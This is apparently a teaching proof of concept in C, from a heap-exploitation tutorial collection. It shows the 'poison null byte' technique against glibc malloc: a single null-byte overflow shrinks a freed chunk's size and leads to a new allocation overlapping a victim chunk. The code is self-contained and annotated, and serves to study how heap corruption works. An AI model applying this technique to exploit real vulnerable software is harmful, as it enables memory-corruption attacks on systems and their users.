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@m1ghtym0 @Kyle-Kyle
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
fprintf(stderr, "Welcome to poison null byte 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
fprintf(stderr, "a: %p\n", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
fprintf(stderr, "b: %p\n", b);
c = (uint8_t*) malloc(0x100);
fprintf(stderr, "c: %p\n", c);
barrier = malloc(0x100);
fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk
free(b);
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n");
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);
fprintf(stderr, "b1: %p\n",b1);
fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 = malloc(0x80);
fprintf(stderr, "b2: %p\n",b2);
memset(b2,'B',0x80);
fprintf(stderr, "Current b2 content:\n%s\n",b2);
fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1);
free(c);
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
fprintf(stderr, "d: %p\n",d);
fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);
fprintf(stderr, "New b2 content:\n%s\n",b2);
fprintf(stderr, "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");
}
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